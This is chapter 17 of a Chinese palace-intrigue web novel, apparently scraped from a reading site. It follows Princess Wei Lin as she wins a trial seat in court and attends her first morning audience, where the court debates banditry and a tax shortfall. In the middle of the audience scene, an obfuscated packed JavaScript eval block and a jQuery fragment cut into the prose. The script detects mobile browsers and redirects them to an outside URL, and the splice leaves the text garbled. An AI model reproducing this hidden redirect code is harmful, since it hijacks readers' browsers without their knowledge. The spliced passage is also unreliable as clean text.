17. 收徒
作品:《汝南》 “是为前朝一事。”魏霖斟酌片刻,按猜想说出。
魏和琰头低下去,嗓音浑厚:“不错,找了这么多人当说客,请奏的折子一连串的送来,小瞧你了。”
魏霖压低嘴角,暗自腹诽,其实就找了一个贺承业,霍景山是自愿的,贺承业迫于无奈,剩下的完全是跟风递上来的,能有这么多说明贺承业的党羽太多。
不过她现在也没这么大胆子和他讲。
“你早就打定主意做这件事,借着朕的口提出来,跪在殿外散播风声,鼓弄朕的大臣给你上书,决心不小,连吏部侍郎都能让你收买,真是长大了,阿霖。”皇帝微眯起眼。
魏霖低眸听着,轻声说:“儿臣不敢,若非父皇首肯,哪里会如此顺利。”
“若是准你去朝前参政,你当如何。”皇帝继而说道,没有理会她的话。
魏霖正色,思索后才道:“父皇若是同意的话,儿臣不敢托大言辞,但愿顷尽全力以百姓为重,家国为大,护好南黎,永葆世代安居乐业。”
“好。”魏和琰转过来看向她,黑金色常服明贵沉稳,眼眸仍如寒潭幽深:“朕可以给你一个机会。”
魏霖垂头听着。
“三月为期,以今日为约,期满过后,朕会让御史匿名投票上书,待结果后再决定你能否留在前朝。”
“儿臣遵旨。”
魏霖伏地叩首。
“嘉和,御史若无人赞成的话,你就要给朕老实去学你该学的东西,不可像这般造次。”皇帝回身,目光重新落在画像上。
魏霖绷紧唇角,片刻后才继续道:“儿臣遵命。”
皇帝召她过来主要就是为这一件事,事情说完便摆手让她退下,他自己则遣散随从,独自坐在寝殿内许久。
魏霖走出殿门时满脸是藏不住的喜悦,阳光穿透云层跌落一地,年轻气盛的嘉和公主意气风发,坐在凤撵上眼角眉梢都是扬着。
棠月曦月跟在身侧,交换眼神后知道事情成了,纷纷同声:“公主英明神武,恭祝公主。”
魏霖嘴角几乎要压不住,好不容易平复下去后又弯起来,索性后面直接笑着回长乐殿。
不到三个时辰,皇帝召见魏霖一事如插了翅膀飞遍燕京,众人大惊,猜不透这位皇帝用意,也搞不清这位公主心思,但木已成舟,无回旋余地。
太子第一时间送了贺礼,随后便是贺祈彰的来信,他说这几日要住在玉春楼,前几日下注结果已分,让他白白赚了许多酒,还特意送了坛玉兰春酒过来,要她尝一尝自己的赢品。
魏霖叮嘱贺祈彰,等明日过后将那个孩子带给贺承业,但也要他暗中留意,以防万一。
霍景山紧跟其后,他这份礼到是格外特别,君子兰花,小太监抱着花盆气喘吁吁的,那朵娇艳欲滴的金白色花朵芳香扑鼻。
魏霖命人放置在殿内悉心呵护,霍景山还拿来一对白玉管紫毫笔,这应是皇帝赏赐的毛笔,转了一圈又回来了,魏霖统统收下。
魏狄是最后着人送来的东西,天色阴沉昏黑,魏霖看着手中的书帖无语至极,魏狄这个混账居然送来收徒贴,他居然要收魏霖做徒弟!教她天下之术!
简直匪夷所思。
脱下那层侍卫的面皮,魏狄真是不要脸到家了。
魏霖团着纸扔地上,正巧碰上进来的曦月,她捡起纸团,小心询问:“公主需要奴婢销毁吗?”
气头上的魏霖点头,见她要出门时又问:“北夷使节团何时归程。”
“后日。”
魏霖应了声,曦月退出去掩门。
这晚魏霖睡的很乱,脑海里翻来覆去也不知再想什么,她总觉得漏了点东西,具体是什么,一时半会想不起来。
天边渐亮,橙黄色的晨曦从树间钻进来,魏霖理好衣领,出宫门上轿,一路闭目养神到重德殿。
太子也是刚到不久,神色自若,听到声音后斜瞥一眼,声音慵懒:“早。”
魏霖走到他身侧,精神抖擞,“皇兄在等我吗。”
“对。”魏巍抬手做出请的姿势:“我们先进。”
魏霖没跟他客气,提步先行进入殿内,重德殿做为常朝殿堂,装修布置即带着典雅大气,又不失庄严肃穆,高台上静置金色的龙椅,龙团模样生动威严,狼牙舞爪的嘶吼着,光是站在这里,魏霖像是被无形的大手捏着后颈,让她不得不垂下头。
“你今日刚到这里,先探清其中局势,莫要多言。”魏巍带着她到位置上,低声叮嘱。
魏霖看他一眼,轻声道:“多谢皇兄。”
魏巍弯起嘴角,再无多言。
卯时一到,午门鸣起鼓声,侍卫推开大门喝声道:“启门。”在外等候的文武百官依次过门进来。
以文左武右分列,手持笏板进殿,全程寂静无人交谈,待进殿后才敢低声细语几句。
有眼尖的大臣发现魏霖也在,侧头去与旁人耳语,魏霖也偏头打量着,看见一张几分和贺祈彰神似的长相,笑吟吟的伸出手冲他挥。
贺承业很是平静,眸色微沉,冲着她拱手作礼算是回应。
魏霖目光不停,终于隔着人头在半空中和霍景山对视上,还未等做些什么,霍老将军的笏板横空出现,穿过两三个人拍了下霍景山的肩。
“……”
霍老将军打完就回,全程未看魏霖一眼。
魏霖尴尬的收回视线,太监小碎步过来,捏着嗓子喊:“皇上到─”百官顿时肃静下来,殿外长鞭声甩起,响声震天。
皇帝一身金丝龙纹朝服,端坐在高堂之上,受万人敬仰。
“跪─”话音落,众臣纷纷下跪,三拜之后,高呼:“吾皇万岁万岁万万岁!”
皇帝抬头示意,太监领会,喊道:“平身。”
百官起身站立,魏霖安静的站在一旁,不到几秒,有人战列出来,扬声开口:“陛下,臣有本启奏。”
“准。”
“陛下,近日边关频频有人闹事,一名高柬瑞的土匪占据一方自称土皇帝,聚众带领数百人围堵浔阳,浔阳管事欲武力压制,可高氏掳走百姓不肯放手,还望陛下尽快派兵镇压。”那人说着。
魏和琰眼眸微眯,语气不满:“为何这么晚才上报。”
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17062344|195079||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
他噗通一声跪下去,声音颤抖:“臣惶恐,此事也是刚收到消息便即可上报,臣愿去浔阳解决高氏,还望陛下恩准。”
魏和琰叹口气,语调强硬严肃:“也罢,此行只许胜,不准败,将高氏活捉回来审问,务必守好百姓。”
“臣遵旨。”说罢,他跪谢完后退出殿内。
魏霖记不清前世里这个高氏做了什么,应是翻不起什么风浪,如果有其他大事她定不会忘掉。
思索间,户部尚书文岭川站出来,“陛下,年前关东大旱,粮食颗粒无收,今年田租口赋吃吃收不上来,国库去年开放粮仓、开垦荒地,亏损大半,今年赋税陛下可要调整一二。”
“国库前几年不是该有余盈吗,怎么不到一年又是亏损。”有人不解问道。
文岭川停直腰板,解释说:“关东大旱收不上来钱,陛下体恤民情拨款关东,又主动放粮,在河西多地开辟荒地种植粮,如今也没收上来,一来二去才致亏损。”
等他们说完,皇帝才道:“众爱卿有何意见不妨说一说。”
“陛下,臣以为应减少田租税率,年前大旱本就收不上东西,不如今年降低田税,提高商税盐税,恰逢北夷与我国建立关口,将关税也提上来,到年底应不致亏损。”
“臣以为不妥,盐价本身不高,如今民间商贩售盐已经颇多,若是此时提高盐税,盐价一高百姓岂不是没钱,最后还要降下来,实在不妥。”
魏霖眉心蹙起,听着他们为这事仔细争吵,才是理解到百姓疾苦,如今争论的每件事都与日常相连,这里少收钱,那里就要多交钱。
几个人争执半天未果,有提议田税不变,将盐税换成粮草,先解决燃眉之急。便有人反驳,粮仓本身见底,再去换盐根本解决不了问题。
等他们都吵累了,皇帝宣布退朝,百官恭送完也离开重德殿。
魏霖走的慢,问太子:“之前也是这样吗。”
“对,税收每年都是个问题,已经从年前说到现在了。”魏巍解释,走了两步发觉左太傅停下,转身同魏霖说了两句后离去。
魏霖看着魏巍走向左太傅,她静静望着二人,左太傅注意到她,魏霖遥遥冲他点头示意。
左太傅眼神锐利无比,扫她一眼不做回应的转过身去,等太子过来后一同离开。
魏霖不甚在意,揉着肩颈往外走,快到殿门口见霍景山不知何时站在那里,他笑着和煦温暖,等她走近行礼,向她问好:“还未恭祝公主。”
“无妨,你的礼物我很喜欢。”魏霖说道,“霍将军的伤…好些了吗。”
霍景山生的干净柔和,这会站在阳光下浑身都散发着温暖,如人一般,面上永远带着点清润,他垂眸,长睫笔直细密:“好多了,劳心公主记着。”
魏霖目不转睛的盯着他看,也不知道听进去没有。
霍景山佯装镇定,清嗓道:“公主─”
“霍景山!”
两道声音交叠在一起,魏霖错愕的看向来者,霍老将军气急败坏的往他们这边走,步履轻快,瞪着霍景山恨不得将他活活剥了。

